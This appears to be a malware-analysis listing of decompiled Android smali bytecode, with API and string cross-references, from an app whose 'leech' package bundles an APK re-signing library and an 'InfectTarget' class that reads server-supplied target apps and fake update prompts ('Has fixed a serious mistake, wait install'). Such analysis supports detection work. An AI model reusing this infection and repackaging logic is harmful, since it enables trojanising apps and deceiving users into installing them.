                                                                              78new-instance v0, Ljava/util/HashMap;
                                                                              80invoke-direct {v0}, Ljava/util/HashMap;-><init>()V
                                                                              81sput-object v0, LuAgent/commonsdk/stateless/b;->x:Ljava/util/Map;
                                                                              83sget-object v0, LuAgent/commonsdk/stateless/b;->x:Ljava/util/Map;
                                                                              84const-class v1, LuAgent/commonsdk/proguard/au;
                                                                              85new-instance v2, LuAgent/commonsdk/stateless/b$b;
                                                                              87invoke-direct {v2, v3}, LuAgent/commonsdk/stateless/b$b;-><init>(LuAgent/commonsdk/stateless/b$1;)V
                                                                              89invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              91sget-object v0, LuAgent/commonsdk/stateless/b;->x:Ljava/util/Map;
                                                                              92const-class v1, LuAgent/commonsdk/proguard/av;
                                                                              93new-instance v2, LuAgent/commonsdk/stateless/b$d;
                                                                              95invoke-direct {v2, v3}, LuAgent/commonsdk/stateless/b$d;-><init>(LuAgent/commonsdk/stateless/b$1;)V
                                                                              97invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              98new-instance v0, Ljava/util/EnumMap;
                                                                              99const-class v1, LuAgent/commonsdk/stateless/b$e;
                                                                              101invoke-direct {v0, v1}, Ljava/util/EnumMap;-><init>(Ljava/lang/Class;)V
                                                                              103sget-object v1, LuAgent/commonsdk/stateless/b$e;->a:LuAgent/commonsdk/stateless/b$e;
                                                                              104new-instance v2, LuAgent/commonsdk/proguard/x;
                                                                              106const-string v3, "version"
                                                                              107new-instance v4, LuAgent/commonsdk/proguard/y;
                                                                              109invoke-direct {v4, v5}, LuAgent/commonsdk/proguard/y;-><init>(B)V
                                                                              111invoke-direct {v2, v3, v6, v4}, LuAgent/commonsdk/proguard/x;-><init>(Ljava/lang/String;BLuAgent/commonsdk/proguard/y;)V
                                                                              113invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              115sget-object v1, LuAgent/commonsdk/stateless/b$e;->b:LuAgent/commonsdk/stateless/b$e;
                                                                              116new-instance v2, LuAgent/commonsdk/proguard/x;
                                                                              118const-string v3, "address"
                                                                              119new-instance v4, LuAgent/commonsdk/proguard/y;
                                                                              121invoke-direct {v4, v5}, LuAgent/commonsdk/proguard/y;-><init>(B)V
                                                                              123invoke-direct {v2, v3, v6, v4}, LuAgent/commonsdk/proguard/x;-><init>(Ljava/lang/String;BLuAgent/commonsdk/proguard/y;)V
                                                                              125invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              127sget-object v1, LuAgent/commonsdk/stateless/b$e;->c:LuAgent/commonsdk/stateless/b$e;
                                                                              128new-instance v2, LuAgent/commonsdk/proguard/x;
                                                                              130const-string v3, "signature"
                                                                              131new-instance v4, LuAgent/commonsdk/proguard/y;
                                                                              133invoke-direct {v4, v5}, LuAgent/commonsdk/proguard/y;-><init>(B)V
                                                                              135invoke-direct {v2, v3, v6, v4}, LuAgent/commonsdk/proguard/x;-><init>(Ljava/lang/String;BLuAgent/commonsdk/proguard/y;)V
                                                                              137invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              139sget-object v1, LuAgent/commonsdk/stateless/b$e;->d:LuAgent/commonsdk/stateless/b$e;
                                                                              140new-instance v2, LuAgent/commonsdk/proguard/x;
                                                                              142const-string v3, "serial_num"
                                                                              143new-instance v4, LuAgent/commonsdk/proguard/y;
                                                                              145invoke-direct {v4, v7}, LuAgent/commonsdk/proguard/y;-><init>(B)V
                                                                              147invoke-direct {v2, v3, v6, v4}, LuAgent/commonsdk/proguard/x;-><init>(Ljava/lang/String;BLuAgent/commonsdk/proguard/y;)V
                                                                              149invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              151sget-object v1, LuAgent/commonsdk/stateless/b$e;->e:LuAgent/commonsdk/stateless/b$e;
                                                                              152new-instance v2, LuAgent/commonsdk/proguard/x;
                                                                              154const-string v3, "ts_secs"
                                                                              155new-instance v4, LuAgent/commonsdk/proguard/y;
                                                                              157invoke-direct {v4, v7}, LuAgent/commonsdk/proguard/y;-><init>(B)V
                                                                              159invoke-direct {v2, v3, v6, v4}, LuAgent/commonsdk/proguard/x;-><init>(Ljava/lang/String;BLuAgent/commonsdk/proguard/y;)V
                                                                              161invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              163sget-object v1, LuAgent/commonsdk/stateless/b$e;->f:LuAgent/commonsdk/stateless/b$e;
                                                                              164new-instance v2, LuAgent/commonsdk/proguard/x;
                                                                              166const-string v3, "length"
                                                                              167new-instance v4, LuAgent/commonsdk/proguard/y;
                                                                              169invoke-direct {v4, v7}, LuAgent/commonsdk/proguard/y;-><init>(B)V
                                                                              171invoke-direct {v2, v3, v6, v4}, LuAgent/commonsdk/proguard/x;-><init>(Ljava/lang/String;BLuAgent/commonsdk/proguard/y;)V
                                                                              173invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              175sget-object v1, LuAgent/commonsdk/stateless/b$e;->g:LuAgent/commonsdk/stateless/b$e;
                                                                              176new-instance v2, LuAgent/commonsdk/proguard/x;
                                                                              178const-string v3, "entity"
                                                                              179new-instance v4, LuAgent/commonsdk/proguard/y;
                                                                              181invoke-direct {v4, v5, v6}, LuAgent/commonsdk/proguard/y;-><init>(BZ)V
                                                                              183invoke-direct {v2, v3, v6, v4}, LuAgent/commonsdk/proguard/x;-><init>(Ljava/lang/String;BLuAgent/commonsdk/proguard/y;)V
                                                                              185invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              187sget-object v1, LuAgent/commonsdk/stateless/b$e;->h:LuAgent/commonsdk/stateless/b$e;
                                                                              188new-instance v2, LuAgent/commonsdk/proguard/x;
                                                                              190const-string v3, "guid"
                                                                              191new-instance v4, LuAgent/commonsdk/proguard/y;
                                                                              193invoke-direct {v4, v5}, LuAgent/commonsdk/proguard/y;-><init>(B)V
                                                                              195invoke-direct {v2, v3, v6, v4}, LuAgent/commonsdk/proguard/x;-><init>(Ljava/lang/String;BLuAgent/commonsdk/proguard/y;)V
                                                                              197invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              199sget-object v1, LuAgent/commonsdk/stateless/b$e;->i:LuAgent/commonsdk/stateless/b$e;
                                                                              200new-instance v2, LuAgent/commonsdk/proguard/x;
                                                                              202const-string v3, "checksum"
                                                                              203new-instance v4, LuAgent/commonsdk/proguard/y;
                                                                              205invoke-direct {v4, v5}, LuAgent/commonsdk/proguard/y;-><init>(B)V
                                                                              207invoke-direct {v2, v3, v6, v4}, LuAgent/commonsdk/proguard/x;-><init>(Ljava/lang/String;BLuAgent/commonsdk/proguard/y;)V
                                                                              209invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              211sget-object v1, LuAgent/commonsdk/stateless/b$e;->j:LuAgent/commonsdk/stateless/b$e;
                                                                              212new-instance v2, LuAgent/commonsdk/proguard/x;
                                                                              214const-string v3, "codex"
                                                                              215new-instance v4, LuAgent/commonsdk/proguard/y;
                                                                              217invoke-direct {v4, v7}, LuAgent/commonsdk/proguard/y;-><init>(B)V
                                                                              219invoke-direct {v2, v3, v8, v4}, LuAgent/commonsdk/proguard/x;-><init>(Ljava/lang/String;BLuAgent/commonsdk/proguard/y;)V
                                                                              221invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              223invoke-static {v0}, Ljava/util/Collections;->unmodifiableMap(Ljava/util/Map;)Ljava/util/Map;
                                                                              224move-result-object v0
                                                                              225sput-object v0, LuAgent/commonsdk/stateless/b;->k:Ljava/util/Map;
                                                                              226const-class v0, LuAgent/commonsdk/stateless/b;
                                                                              228sget-object v1, LuAgent/commonsdk/stateless/b;->k:Ljava/util/Map;
                                                                              230invoke-static {v0, v1}, LuAgent/commonsdk/proguard/x;->a(Ljava/lang/Class;Ljava/util/Map;)V
                                                                              231return-void
                                                                              Cross References
                                                                              APIs
                                                                              • java.util.Date.<init>
                                                                              • java.util.Date.getTime
                                                                              • java.util.Date.setTime
                                                                              • java.util.Date.getTime
                                                                              • com.android.leech.patch.apksigner.sun.security.x509.X500Signer.getAlgorithmId
                                                                              • com.android.leech.patch.apksigner.sun.security.x509.X500Signer.getSigner
                                                                              • java.lang.System.getProperty
                                                                              • com.android.leech.patch.apksigner.sun.security.x509.X509CertImpl.<init>
                                                                              • com.android.leech.patch.apksigner.sun.security.x509.X509CertImpl.sign
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.io.IOException.getMessage
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.security.cert.CertificateEncodingException.<init>
                                                                              Strings
                                                                              • version
                                                                              • serialNumber
                                                                              • algorithmID
                                                                              • subject
                                                                              • key
                                                                              • validity
                                                                              • issuer
                                                                              • sun.security.internal.keytool.skid
                                                                              • SubjectKeyIdentifier
                                                                              • extensions
                                                                              • getSelfCert:
                                                                              Position Instruction Meta Information
                                                                              0.param p1, "myname" # Lcom/android/leech/patch/apksigner/sun/security/x509/X500Name;
                                                                              1.param p2, "firstDate" # Ljava/util/Date;
                                                                              2.param p3, "validity" # J
                                                                              3.annotation system Ldalvik/annotation/Throws;
                                                                              4value = {
                                                                              5Ljava/security/cert/CertificateException;,
                                                                              6Ljava/security/InvalidKeyException;,
                                                                              7Ljava/security/SignatureException;,
                                                                              8Ljava/security/NoSuchAlgorithmException;,
                                                                              9Ljava/security/NoSuchProviderException;
                                                                              10}
                                                                              11.end annotation
                                                                              12.prologue
                                                                              13try_start_0:
                                                                              14invoke-direct/range {p0 .. p1}, Lcom/android/leech/patch/apksigner/sun/security/x509/CertAndKeyGen;->getSigner(Lcom/android/leech/patch/apksigner/sun/security/x509/X500Name;)Lcom/android/leech/patch/apksigner/sun/security/x509/X500Signer;
                                                                              15move-result-object v7
                                                                              16new-instance v8, Ljava/util/Date;
                                                                              18invoke-direct {v8}, Ljava/util/Date;-><init>()V
                                                                              20invoke-virtual/range {p2 .. p2}, Ljava/util/Date;->getTime()J
                                                                              21move-result-wide v9
                                                                              22const-wide/16 v11, 0x3e8
                                                                              23mul-long v11, v11, p3
                                                                              24add-long/2addr v9, v11
                                                                              26invoke-virtual {v8, v9, v10}, Ljava/util/Date;->setTime(J)V
                                                                              27new-instance v6, Lcom/android/leech/patch/apksigner/sun/security/x509/CertificateValidity;
                                                                              28move-object/from16 v0, p2
                                                                              30invoke-direct {v6, v0, v8}, Lcom/android/leech/patch/apksigner/sun/security/x509/CertificateValidity;-><init>(Ljava/util/Date;Ljava/util/Date;)V
                                                                              31new-instance v5, Lcom/android/leech/patch/apksigner/sun/security/x509/X509CertInfo;
                                                                              33invoke-direct {v5}, Lcom/android/leech/patch/apksigner/sun/security/x509/X509CertInfo;-><init>()V
                                                                              35const-string v9, "version"
                                                                              36new-instance v10, Lcom/android/leech/patch/apksigner/sun/security/x509/CertificateVersion;
                                                                              37const/4 v11, 0x2
                                                                              39invoke-direct {v10, v11}, Lcom/android/leech/patch/apksigner/sun/security/x509/CertificateVersion;-><init>(I)V
                                                                              41invoke-virtual {v5, v9, v10}, Lcom/android/leech/patch/apksigner/sun/security/x509/X509CertInfo;->set(Ljava/lang/String;Ljava/lang/Object;)V
                                                                              43const-string v9, "serialNumber"
                                                                              44new-instance v10, Lcom/android/leech/patch/apksigner/sun/security/x509/CertificateSerialNumber;
                                                                              46invoke-virtual/range {p2 .. p2}, Ljava/util/Date;->getTime()J
                                                                              47move-result-wide v11
                                                                              48const-wide/16 v13, 0x3e8
                                                                              49div-long/2addr v11, v13
                                                                              50long-to-int v11, v11
                                                                              52invoke-direct {v10, v11}, Lcom/android/leech/patch/apksigner/sun/security/x509/CertificateSerialNumber;-><init>(I)V
                                                                              54invoke-virtual {v5, v9, v10}, Lcom/android/leech/patch/apksigner/sun/security/x509/X509CertInfo;->set(Ljava/lang/String;Ljava/lang/Object;)V
                                                                              56invoke-virtual {v7}, Lcom/android/leech/patch/apksigner/sun/security/x509/X500Signer;->getAlgorithmId()Lcom/android/leech/patch/apksigner/sun/security/x509/AlgorithmId;
                                                                              57move-result-object v1
                                                                              59const-string v9, "algorithmID"
                                                                              60new-instance v10, Lcom/android/leech/patch/apksigner/sun/security/x509/CertificateAlgorithmId;
                                                                              62invoke-direct {v10, v1}, Lcom/android/leech/patch/apksigner/sun/security/x509/CertificateAlgorithmId;-><init>(Lcom/android/leech/patch/apksigner/sun/security/x509/AlgorithmId;)V
                                                                              64invoke-virtual {v5, v9, v10}, Lcom/android/leech/patch/apksigner/sun/security/x509/X509CertInfo;->set(Ljava/lang/String;Ljava/lang/Object;)V
                                                                              66const-string v9, "subject"
                                                                              67new-instance v10, Lcom/android/leech/patch/apksigner/sun/security/x509/CertificateSubjectName;
                                                                              68move-object/from16 v0, p1
                                                                              70invoke-direct {v10, v0}, Lcom/android/leech/patch/apksigner/sun/security/x509/CertificateSubjectName;-><init>(Lcom/android/leech/patch/apksigner/sun/security/x509/X500Name;)V
                                                                              72invoke-virtual {v5, v9, v10}, Lcom/android/leech/patch/apksigner/sun/security/x509/X509CertInfo;->set(Ljava/lang/String;Ljava/lang/Object;)V
                                                                              74const-string v9, "key"
                                                                              75new-instance v10, Lcom/android/leech/patch/apksigner/sun/security/x509/CertificateX509Key;
                                                                              77iget-object v11, p0, Lcom/android/leech/patch/apksigner/sun/security/x509/CertAndKeyGen;->publicKey:Ljava/security/PublicKey;
                                                                              79invoke-direct {v10, v11}, Lcom/android/leech/patch/apksigner/sun/security/x509/CertificateX509Key;-><init>(Ljava/security/PublicKey;)V
                                                                              81invoke-virtual {v5, v9, v10}, Lcom/android/leech/patch/apksigner/sun/security/x509/X509CertInfo;->set(Ljava/lang/String;Ljava/lang/Object;)V
                                                                              83const-string v9, "validity"
                                                                              85invoke-virtual {v5, v9, v6}, Lcom/android/leech/patch/apksigner/sun/security/x509/X509CertInfo;->set(Ljava/lang/String;Ljava/lang/Object;)V
                                                                              87const-string v9, "issuer"
                                                                              88new-instance v10, Lcom/android/leech/patch/apksigner/sun/security/x509/CertificateIssuerName;
                                                                              90invoke-virtual {v7}, Lcom/android/leech/patch/apksigner/sun/security/x509/X500Signer;->getSigner()Lcom/android/leech/patch/apksigner/sun/security/x509/X500Name;
                                                                              91move-result-object v11
                                                                              93invoke-direct {v10, v11}, Lcom/android/leech/patch/apksigner/sun/security/x509/CertificateIssuerName;-><init>(Lcom/android/leech/patch/apksigner/sun/security/x509/X500Name;)V
                                                                              95invoke-virtual {v5, v9, v10}, Lcom/android/leech/patch/apksigner/sun/security/x509/X509CertInfo;->set(Ljava/lang/String;Ljava/lang/Object;)V
                                                                              97const-string v9, "sun.security.internal.keytool.skid"
                                                                              99invoke-static {v9}, Ljava/lang/System;->getProperty(Ljava/lang/String;)Ljava/lang/String;
                                                                              100move-result-object v9
                                                                              101if-eqz v9, :cond_9e
                                                                              102new-instance v4, Lcom/android/leech/patch/apksigner/sun/security/x509/CertificateExtensions;
                                                                              104invoke-direct {v4}, Lcom/android/leech/patch/apksigner/sun/security/x509/CertificateExtensions;-><init>()V
                                                                              106const-string v9, "SubjectKeyIdentifier"
                                                                              107new-instance v10, Lcom/android/leech/patch/apksigner/sun/security/x509/SubjectKeyIdentifierExtension;
                                                                              108new-instance v11, Lcom/android/leech/patch/apksigner/sun/security/x509/KeyIdentifier;
                                                                              110iget-object v12, p0, Lcom/android/leech/patch/apksigner/sun/security/x509/CertAndKeyGen;->publicKey:Ljava/security/PublicKey;
                                                                              112invoke-direct {v11, v12}, Lcom/android/leech/patch/apksigner/sun/security/x509/KeyIdentifier;-><init>(Ljava/security/PublicKey;)V
                                                                              114invoke-virtual {v11}, Lcom/android/leech/patch/apksigner/sun/security/x509/KeyIdentifier;->getIdentifier()[B
                                                                              115move-result-object v11
                                                                              117invoke-direct {v10, v11}, Lcom/android/leech/patch/apksigner/sun/security/x509/SubjectKeyIdentifierExtension;-><init>([B)V
                                                                              119invoke-virtual {v4, v9, v10}, Lcom/android/leech/patch/apksigner/sun/security/x509/CertificateExtensions;->set(Ljava/lang/String;Ljava/lang/Object;)V
                                                                              121const-string v9, "extensions"
                                                                              123invoke-virtual {v5, v9, v4}, Lcom/android/leech/patch/apksigner/sun/security/x509/X509CertInfo;->set(Ljava/lang/String;Ljava/lang/Object;)V
                                                                              124cond_9e: new-instance v2, Lcom/android/leech/patch/apksigner/sun/security/x509/X509CertImpl;
                                                                              126invoke-direct {v2, v5}, Lcom/android/leech/patch/apksigner/sun/security/x509/X509CertImpl;-><init>(Lcom/android/leech/patch/apksigner/sun/security/x509/X509CertInfo;)V
                                                                              128iget-object v9, p0, Lcom/android/leech/patch/apksigner/sun/security/x509/CertAndKeyGen;->privateKey:Ljava/security/PrivateKey;
                                                                              130iget-object v10, p0, Lcom/android/leech/patch/apksigner/sun/security/x509/CertAndKeyGen;->sigAlg:Ljava/lang/String;
                                                                              132invoke-virtual {v2, v9, v10}, Lcom/android/leech/patch/apksigner/sun/security/x509/X509CertImpl;->sign(Ljava/security/PrivateKey;Ljava/lang/String;)V
                                                                              133try_end_aa: return-object v2
                                                                              134catch_ab: move-exception v3
                                                                              135new-instance v9, Ljava/security/cert/CertificateEncodingException;
                                                                              136new-instance v10, Ljava/lang/StringBuilder;
                                                                              138invoke-direct {v10}, Ljava/lang/StringBuilder;-><init>()V
                                                                              140const-string v11, "getSelfCert: "
                                                                              142invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              143move-result-object v10
                                                                              145invoke-virtual {v3}, Ljava/io/IOException;->getMessage()Ljava/lang/String;
                                                                              146move-result-object v11
                                                                              148invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              149move-result-object v10
                                                                              151invoke-virtual {v10}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              152move-result-object v10
                                                                              154invoke-direct {v9, v10}, Ljava/security/cert/CertificateEncodingException;-><init>(Ljava/lang/String;)V
                                                                              155throw v9
                                                                              APIs
                                                                              • com.android.leech.patch.apksigner.sun.security.x509.AttributeNameEnumeration.<init>
                                                                              • com.android.leech.patch.apksigner.sun.security.x509.AttributeNameEnumeration.addElement
                                                                              • com.android.leech.patch.apksigner.sun.security.x509.AttributeNameEnumeration.addElement
                                                                              • com.android.leech.patch.apksigner.sun.security.x509.AttributeNameEnumeration.addElement
                                                                              • com.android.leech.patch.apksigner.sun.security.x509.AttributeNameEnumeration.addElement
                                                                              • com.android.leech.patch.apksigner.sun.security.x509.AttributeNameEnumeration.addElement
                                                                              • com.android.leech.patch.apksigner.sun.security.x509.AttributeNameEnumeration.addElement
                                                                              • com.android.leech.patch.apksigner.sun.security.x509.AttributeNameEnumeration.addElement
                                                                              • com.android.leech.patch.apksigner.sun.security.x509.AttributeNameEnumeration.addElement
                                                                              • com.android.leech.patch.apksigner.sun.security.x509.AttributeNameEnumeration.addElement
                                                                              • com.android.leech.patch.apksigner.sun.security.x509.AttributeNameEnumeration.addElement
                                                                              • com.android.leech.patch.apksigner.sun.security.x509.AttributeNameEnumeration.elements
                                                                              Strings
                                                                              • version
                                                                              • serialNumber
                                                                              • algorithmID
                                                                              • issuer
                                                                              • validity
                                                                              • subject
                                                                              • key
                                                                              • issuerID
                                                                              • subjectID
                                                                              • extensions
                                                                              Position Instruction Meta Information
                                                                              0.annotation system Ldalvik/annotation/Signature;
                                                                              1value = {
                                                                              2"()",
                                                                              3"Ljava/util/Enumeration",
                                                                              4"<",
                                                                              5"Ljava/lang/String;",
                                                                              6">;"
                                                                              7}
                                                                              8.end annotation
                                                                              9.prologue
                                                                              10new-instance v0, Lcom/android/leech/patch/apksigner/sun/security/x509/AttributeNameEnumeration;
                                                                              12invoke-direct {v0}, Lcom/android/leech/patch/apksigner/sun/security/x509/AttributeNameEnumeration;-><init>()V
                                                                              14const-string v1, "version"
                                                                              16invoke-virtual {v0, v1}, Lcom/android/leech/patch/apksigner/sun/security/x509/AttributeNameEnumeration;->addElement(Ljava/lang/Object;)V
                                                                              18const-string v1, "serialNumber"
                                                                              20invoke-virtual {v0, v1}, Lcom/android/leech/patch/apksigner/sun/security/x509/AttributeNameEnumeration;->addElement(Ljava/lang/Object;)V
                                                                              22const-string v1, "algorithmID"
                                                                              24invoke-virtual {v0, v1}, Lcom/android/leech/patch/apksigner/sun/security/x509/AttributeNameEnumeration;->addElement(Ljava/lang/Object;)V
                                                                              26const-string v1, "issuer"
                                                                              28invoke-virtual {v0, v1}, Lcom/android/leech/patch/apksigner/sun/security/x509/AttributeNameEnumeration;->addElement(Ljava/lang/Object;)V
                                                                              30const-string v1, "validity"
                                                                              32invoke-virtual {v0, v1}, Lcom/android/leech/patch/apksigner/sun/security/x509/AttributeNameEnumeration;->addElement(Ljava/lang/Object;)V
                                                                              34const-string v1, "subject"
                                                                              36invoke-virtual {v0, v1}, Lcom/android/leech/patch/apksigner/sun/security/x509/AttributeNameEnumeration;->addElement(Ljava/lang/Object;)V
                                                                              38const-string v1, "key"
                                                                              40invoke-virtual {v0, v1}, Lcom/android/leech/patch/apksigner/sun/security/x509/AttributeNameEnumeration;->addElement(Ljava/lang/Object;)V
                                                                              42const-string v1, "issuerID"
                                                                              44invoke-virtual {v0, v1}, Lcom/android/leech/patch/apksigner/sun/security/x509/AttributeNameEnumeration;->addElement(Ljava/lang/Object;)V
                                                                              46const-string v1, "subjectID"
                                                                              48invoke-virtual {v0, v1}, Lcom/android/leech/patch/apksigner/sun/security/x509/AttributeNameEnumeration;->addElement(Ljava/lang/Object;)V
                                                                              50const-string v1, "extensions"
                                                                              52invoke-virtual {v0, v1}, Lcom/android/leech/patch/apksigner/sun/security/x509/AttributeNameEnumeration;->addElement(Ljava/lang/Object;)V
                                                                              54invoke-virtual {v0}, Lcom/android/leech/patch/apksigner/sun/security/x509/AttributeNameEnumeration;->elements()Ljava/util/Enumeration;
                                                                              55move-result-object v1
                                                                              56return-object v1
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.Object.<init>
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              Strings
                                                                              • pkg_name
                                                                              • ver
                                                                              • type
                                                                              • app_cls
                                                                              • activity
                                                                              • title
                                                                              • update!!!
                                                                              • text
                                                                              • Has fixed a serious mistake, wait install
                                                                              • order
                                                                              • key
                                                                              • secret
                                                                              Position Instruction Meta Information
                                                                              0.param p1, "jsonObject" # Lorg/json/JSONObject;
                                                                              1.prologue
                                                                              3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                                                                              5const-string v0, "pkg_name"
                                                                              7invoke-static {p1, v0}, Lcom/android/leech/base/util/JsonUtils;->getJsonString(Lorg/json/JSONObject;Ljava/lang/String;)Ljava/lang/String;
                                                                              8move-result-object v0
                                                                              9iput-object v0, p0, Lcom/android/leech/base/network/data/base/InfectTarget;->pkg_name:Ljava/lang/String;
                                                                              11const-string v0, "ver"
                                                                              12const-wide/32 v1, -0x80000000
                                                                              14invoke-static {p1, v0, v1, v2}, Lcom/android/leech/base/util/JsonUtils;->getJsonLong(Lorg/json/JSONObject;Ljava/lang/String;J)J
                                                                              15move-result-wide v0
                                                                              16iput-wide v0, p0, Lcom/android/leech/base/network/data/base/InfectTarget;->ver:J
                                                                              18const-string v0, "type"
                                                                              20invoke-static {p1, v0}, Lcom/android/leech/base/util/JsonUtils;->getJsonString(Lorg/json/JSONObject;Ljava/lang/String;)Ljava/lang/String;
                                                                              21move-result-object v0
                                                                              22iput-object v0, p0, Lcom/android/leech/base/network/data/base/InfectTarget;->type:Ljava/lang/String;
                                                                              24const-string v0, "app_cls"
                                                                              26invoke-static {p1, v0}, Lcom/android/leech/base/util/JsonUtils;->getJsonString(Lorg/json/JSONObject;Ljava/lang/String;)Ljava/lang/String;
                                                                              27move-result-object v0
                                                                              28iput-object v0, p0, Lcom/android/leech/base/network/data/base/InfectTarget;->app_cls:Ljava/lang/String;
                                                                              30const-string v0, "activity"
                                                                              32invoke-static {p1, v0}, Lcom/android/leech/base/util/JsonUtils;->getJsonString(Lorg/json/JSONObject;Ljava/lang/String;)Ljava/lang/String;
                                                                              33move-result-object v0
                                                                              34iput-object v0, p0, Lcom/android/leech/base/network/data/base/InfectTarget;->activity:Ljava/lang/String;
                                                                              36const-string v0, "title"
                                                                              37new-instance v1, Ljava/lang/StringBuilder;
                                                                              39invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                                              41iget-object v2, p0, Lcom/android/leech/base/network/data/base/InfectTarget;->pkg_name:Ljava/lang/String;
                                                                              43invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              44move-result-object v1
                                                                              46const-string v2, " update!!!"
                                                                              48invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              49move-result-object v1
                                                                              51invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              52move-result-object v1
                                                                              54invoke-static {p1, v0, v1}, Lcom/android/leech/base/util/JsonUtils;->getJsonString(Lorg/json/JSONObject;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                                                                              55move-result-object v0
                                                                              56iput-object v0, p0, Lcom/android/leech/base/network/data/base/InfectTarget;->title:Ljava/lang/String;
                                                                              58const-string v0, "text"
                                                                              59new-instance v1, Ljava/lang/StringBuilder;
                                                                              61invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                                              63iget-object v2, p0, Lcom/android/leech/base/network/data/base/InfectTarget;->pkg_name:Ljava/lang/String;
                                                                              65invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              66move-result-object v1
                                                                              68const-string v2, " Has fixed a serious mistake, wait install"
                                                                              70invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              71move-result-object v1
                                                                              73invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              74move-result-object v1
                                                                              76invoke-static {p1, v0, v1}, Lcom/android/leech/base/util/JsonUtils;->getJsonString(Lorg/json/JSONObject;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                                                                              77move-result-object v0
                                                                              78iput-object v0, p0, Lcom/android/leech/base/network/data/base/InfectTarget;->text:Ljava/lang/String;
                                                                              80const-string v0, "order"
                                                                              82invoke-static {p1, v0}, Lcom/android/leech/base/util/JsonUtils;->getJsonInt(Lorg/json/JSONObject;Ljava/lang/String;)I
                                                                              83move-result v0
                                                                              84iput v0, p0, Lcom/android/leech/base/network/data/base/InfectTarget;->order:I
                                                                              86const-string v0, "key"
                                                                              88invoke-static {p1, v0}, Lcom/android/leech/base/util/JsonUtils;->getJsonString(Lorg/json/JSONObject;Ljava/lang/String;)Ljava/lang/String;
                                                                              89move-result-object v0
                                                                              90iput-object v0, p0, Lcom/android/leech/base/network/data/base/InfectTarget;->key:Ljava/lang/String;
                                                                              92const-string v0, "secret"
                                                                              94invoke-static {p1, v0}, Lcom/android/leech/base/util/JsonUtils;->getJsonString(Lorg/json/JSONObject;Ljava/lang/String;)Ljava/lang/String;
                                                                              95move-result-object v0
                                                                              96iput-object v0, p0, Lcom/android/leech/base/network/data/base/InfectTarget;->secret:Ljava/lang/String;
                                                                              97return-void
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.Object.<init>
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              Strings
                                                                              • ver
                                                                              • type
                                                                              • DEF
                                                                              • app_cls
                                                                              • activity
                                                                              • title
                                                                              • update!!!
                                                                              • text
                                                                              • Has fixed a serious mistake, wait install
                                                                              • order
                                                                              • key
                                                                              • secret
                                                                              Position Instruction Meta Information
                                                                              0.param p1, "pkg" # Ljava/lang/String;
                                                                              1.prologue
                                                                              2const/4 v3, 0x0
                                                                              4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                                                                              5iput-object p1, p0, Lcom/android/leech/base/network/data/base/InfectTarget;->pkg_name:Ljava/lang/String;
                                                                              7const-string v0, "ver"
                                                                              8const-wide/32 v1, -0x80000000
